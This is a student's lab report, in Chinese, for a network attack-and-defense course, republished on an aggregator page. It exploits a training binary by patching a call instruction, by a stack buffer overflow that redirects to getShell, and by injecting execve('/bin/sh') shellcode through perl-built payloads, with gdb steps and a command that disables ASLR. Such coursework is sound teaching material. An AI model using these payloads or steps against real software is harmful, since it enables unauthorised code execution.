# 20232313 2025-2026-1 《网络与系统攻防技术》实验一实验报告 - 20232313

news/2025/10/7 16:14:30/文章来源:https://www.cnblogs.com/kitaikuyo/p/19126729

一、实验内容

学习通过以下三种方式利用pwn1程序的漏洞执行getShell函数:

  • 篡改程序流程——直接修改可执行文件,跳转至getShell;
  • 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
  • Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

二、实验过程

(一)基础知识

  1. 基础汇编指令
  • NOP(空指令):CPU不执行任何操作,直接继续下一条指令。(机器码:90)
  • JNE/JE:基于比较结果跳转(机器码75/74)
  • CMP:比较操作数并设置标志位,不保存结果
  • JMP:(无条件跳转)
  1. 反汇编
    反汇编是将机器码(二进制指令)转换为汇编代码的逆向过程,通过反汇编可以查看程序的底层执行逻辑和指令流程。
    本次使用Linux平台的objdump工具分析pwn1可执行文件,
    命令格式:objdump -d 目标文件
    该命令会输出完整的汇编代码段及其内存地址信息。
    本次实验使用xxd作为十六进制编辑器。

(二) 实验过程

  1. 直接修改程序机器指令,改变程序执行流程
    先登录root账户,后修改主机名为203232313.
    再通过VirtualBox的共享文件夹将pwn1文件传输到虚拟机,并修改名字为pwn20232313,如图:
    image
    运行,发现原函数功能是打印输入字段。
    image
    输入命令 objdump -d pwn20232313 | more 对文件反汇编,在其中找到main/foo以及getshell函数:
    image
    image
    根据实验目标,需将call foo修改为call getShell,即把地址8048491替换为getShell的入口地址804847d。
    Call指令的跳转原理是相对跳转,即EIP+偏移量=当前命令地址。由此知道,偏移量=当前命令地址-EIP。
    在这里,getShell作为当前命令地址,计算偏移量:804847d(getShell) - 80484ba = -61,其补码表示为0xffffff3c。由于x86架构采用小端存储,实际需将机器码中的0xd7ffffff修改为0xc3ffffff,即可实现跳转至getShell函数。
    我将文件先复制一份命名为"pwn2",
    image
    后使用%!xxd进入十六进制编辑器将pwn2文件中的d7改成c3,然后使用:%!xxd -r转回原来乱码格式。
    image
    再使用命令objdump -d pwn2| more查看修改结果如下所示,修改成功。
    image
    查看pwn2运行结果如下图,说明getshell函数已实现。
    image
  2. 通过构造输入参数,造成BOF攻击,改变程序执行流
    复制新文件命名为pwn3。
    image
    当程序调用函数 foo 时,会在栈上创建自己的栈帧。由于 foo 函数使用了一个只预留28(0x1c)字节的缓冲区来读取字符串,因此存在缓冲区溢出(Bof)漏洞。
    image
    我们可以通过向该缓冲区输入超出其容量的字符串,覆盖栈上的返回地址,从而将其篡改为 getShell 函数的地址,实现攻击目的。根据反汇编结果,正常情况下,call foo指令会将返回地址0x80484ba压入栈中,而我们的目标就是覆盖这个值,使其指向 getshell 函数的入口地址。
    使用 gdb pwn3 调试程序,输入测试字符串 1111111122222222333333334444444412345678,然后执行 info r查看寄存器状态,发现 EIP(存储下一条指令地址的寄存器)被覆盖为 0x34333231(即字符串 "1234" 的 ASCII 码)。
    image
    image
    通过反汇编已知 getShell 函数的入口地址为 0x0804847d。因此,只需将字符串末尾的 "1234" 替换为该地址的字节表示(小端序),即可让程序在返回时跳转至 getShell,从而达成攻击目的。为了利用缓冲区溢出漏洞,我们需要将返回地址覆盖为getShell函数的地址0x0804847d。
    具体操作是构造一个特定格式的输入字符串:
    首先准备字符串"11111111222222223333333344444444"来填满缓冲区,然后追加目标地址的小端序表示"\x7d\x84\x04\x08"。可以使用以下命令生成包含这个字符串的文件:
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input其中\x0a表示换行符。生成后可以用xxd input命令检查文件内容是否正确,确认地址字节是否按小端序正确排列。最后通过命令(cat input; cat) | ./pwn3将构造的输入传递给目标程序。这个命令会先发送input文件中的payload,然后保持标准输入打开以便交互。当程序执行返回时,就会跳转到我们指定的getShell函数地址,从而达成攻击目的。
    结果如图所示,成功执行getshell获取了shell。
    image
  3. 注入Shellcode并执行
    先做如下准备工作:
    复制一份新的pwn20232313文件,命名为pwn4。
    readelf -l pwn4 | grep -A1 GNU_STACK验证pwn4文件的栈可被执行。
    image
    more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

Linux系统中,构造攻击缓冲区(buf)主要有两种基本方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
以下是构造包含shellcode的输入示例(x1x2x3x4为占位符,后续需替换为foo函数中return address的实际地址,该地址需通过gdb分析确定):
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序pwn4:
(cat input_shellcode; cat) | ./pwn4
建立新终端,输入ps -ef | grep pwn4,查看pwn4文件的进程以及进程号如下:
image
可以看到,./pwn4 的进程号为 113151。
接下来在新终端中使用 gdb 进行调试:
启动 gdb 并附加到目标进程: gdb pwn4 attach 113151
反编译 foo 函数并分析返回地址位置: disassemble foo
通过反编译结果可定位 foo 函数中 return address 的具体内存地址,用于后续替换x1x2x3x4占位符。
image
通过反汇编分析确定 foo 函数的返回地址为 0x080484ae。在 gdb 中设置断点:break *0x080484ae在新终端输入 c 继续执行程序,此时必须在原始终端按 Enter 键,否则新终端的 continue 会持续等待。通过断点验证返回地址是否被成功覆盖为 getShell 的地址(\x7d\x84\x04\x08),并观察程序跳转流程。
image
通过info r esp命令查看栈顶指针位置,显示当前ESP值为0xffffcfec。使用x/16x 0xffffcfec查看该地址内存内容时,可以看到注入的输入数据0x04030201(即占位符 \x01\x02\x03\x04 的内存表示,说明目标地址正确。后续将占位符替换为getShell的实际地址 0x0804847d(小端序为\x7d\x84\x04\x08)以完成攻击。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfec。使用x/16x 0xffffcfec命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,说明找的就是这个地址。
image
通过计算,shellcode 的注入地址应为栈顶指针地址0xffffcfec加上 4 字节,即 0xffffcff0。将该地址以小端序格式(\xf0\xcf\xff\xff)替换原占位符 \x01\x02\x03\x04,构造最终的注入字符串:
perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序:(cat input_shellcode; cat) | ./pwn4
执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。
image

三、问题及解决方案

  • 问题1:下载不了execstack
  • 问题1解决方案:
    选择使用readelf -l pwn4 | grep -A1 GNU_STACK验证pwn4文件的栈可被执行。好像结果差别不大?
  • 问题2:gdb输入c命令后卡住
  • 问题2解决方案:
    当gdb输入c命令后程序卡住时,需要在运行pwn的原始终端窗口按回车键,这样程序才能继续执行,gdb才能进行后续分析,否则会一直处于等待状态。

四、学习感悟等

首先,我认识到机器指令是小端存储、补码表示。
这次实验我完成了三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode。
直接修改程序机器指令让我对x86的Call指令运行方式有了更多的了解,知道了EIP压栈与相对跳转偏移量的工作方式。
输入参数造成BOF攻击则让我明白了如何判断函数是否存在BOF漏洞,以及如何完成简单的BOF攻击。
Shellcode注入我认为是最难的,需要新理解的东西也是最多的,学习过后也是平稳完成了实验。

参考资料

  • 《0x11_MAL_逆向与Bof基础.md》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/930578.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

完整教程:【无标题】

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

个人空间备案网站名称wordpress贴内幻灯片

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

vector使用中的一个小问题

定义一个二维的vector时,应该使用resize进行初始化,否则直接进行访问时会出错的。 C++中vector resize用法解析 - DeepSeek

一生一芯学习:PA2:输入输出

一生一芯学习:PA2:输入输出输入输出是计算机与外界交互的基本手段,只需要向设备发送一些有意义的数字信号,设备就会按照这些信号来工作。设备有自己的专属寄存器(如CPU的通用寄存器),也有自己的功能部件(如CPU…

深入解析:展会聚焦丨漫途科技亮相2025西北水务博览会!

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering() - 指南

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering() - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; d…

2025.10.7——2绿

普及+/提高- AT_agc031_b [AGC031B] Reversi 很简单的线性DP,很快就写出来了。 AT_abc406_f [ABC406F] Compare Tree Weights 树上的dfs序+树状数组,我被卡了好久……最后还因为树状数组写错功亏一篑了。

wordpress快站wordpress恢复边栏

问题描述,后台返回一个参数携带在url上面,发的时候是空格隔开的字符串,但是到了前端放到地址栏打开是一个号。 类似于 // 后台返回的url https://xxx.com?aaa bxxx // 打开浏览器后地址栏显示的 https://xxx.com?aaabxxx问了一下AI说是空…

完整教程:无人机避障——感知部分(Ubuntu 20.04 复现Vins Fusion跑数据集)胎教级教程

完整教程:无人机避障——感知部分(Ubuntu 20.04 复现Vins Fusion跑数据集)胎教级教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important…

姑苏区网站建设广州专业网站改版方案

企业们正在寻找新的方式来吸引和保持观众的注意力,一种新兴的解决方案就是使用Avatar虚拟形象技术,这种技术可以让用户在视频拍摄或直播场景中,以自定义的数字人形象出现,同时保持所有的表情和脸部驱动。美摄科技正是这个领域的领军者&#x…

我真的博了

其实标题指的是博弈论。 [AGC002E] Candy Piles 桌子上有 \(N\) 堆糖果。每堆糖果有 \(a_i\) 颗糖果。 Snuke 和 Ciel 正在玩游戏。他们轮流走。Snuke 先走。在每个回合中,当前玩家必须执行以下两个操作之一:选择剩余…

深入解析:人工智能-Chain of Thought Prompting(思维链提示,简称CoT)

深入解析:人工智能-Chain of Thought Prompting(思维链提示,简称CoT)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

2025.10.6——1绿1蓝

普及+/提高- P3388 【模板】割点(割顶) Tarjan算法的模板题,但是代码不是我写的。 老师写的代码,有问题,我找出问题了。 提高+/省选- P1073 [NOIP 2009 提高组] 最优贸易 听完老师讲解后感觉这道题真的不难,很快…

红色网站呢网站备案查询 api

前言:预处理是我们的c语言源代码成为可执行程序的第一个步骤。而宏和预处理指令都是在这个阶段完成。本节内容就是关于宏和预处理指令相关知识点的解析。 目录 宏 预定义符号 #define定义常量 #define定义符号 #define定义宏 带副作用的宏参数 宏的替换规则…

深入解析:OpenCV CUDA模块图像处理------双边滤波的GPU版本函数bilateralFilter()

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

年龄排序

题目:样例:代码部分: include<stdio.h> int main() { int n; //人数 scanf_s("%d", &n); //结构体信息采集 struct patient { long id; int age; }; struct patient s1[10]; for (int i = 0;…

深入解析:Spring框架学习day3--Spring数据访问层管理(IOC)

深入解析:Spring框架学习day3--Spring数据访问层管理(IOC)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Conso…

转战web3远程工作的英语学习的路线规划 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

二分图最大匹配 输出具体方案

洛谷P2756 匈牙利算法: #include<bits/stdc++.h> using namespace std; const int N=110; int match[N],vis[N]; int n,m; vector<int> edges[N]; bool dfs(int u){for(int &v:edges[u]){if(vis[v])c…

我的联想小新潮7000笔记本的优化

500块钱,买了个笔记本,很卡。 优化一下: 1。内存升级,4G+16G=20G 2.硬盘升级:2G的固态+1G的机械 3.系统安装的时候,使用win10或者其他版本的纯净的版本 4.cpu频率增加。 注意:如果你不注意散热,这样可能电脑烧…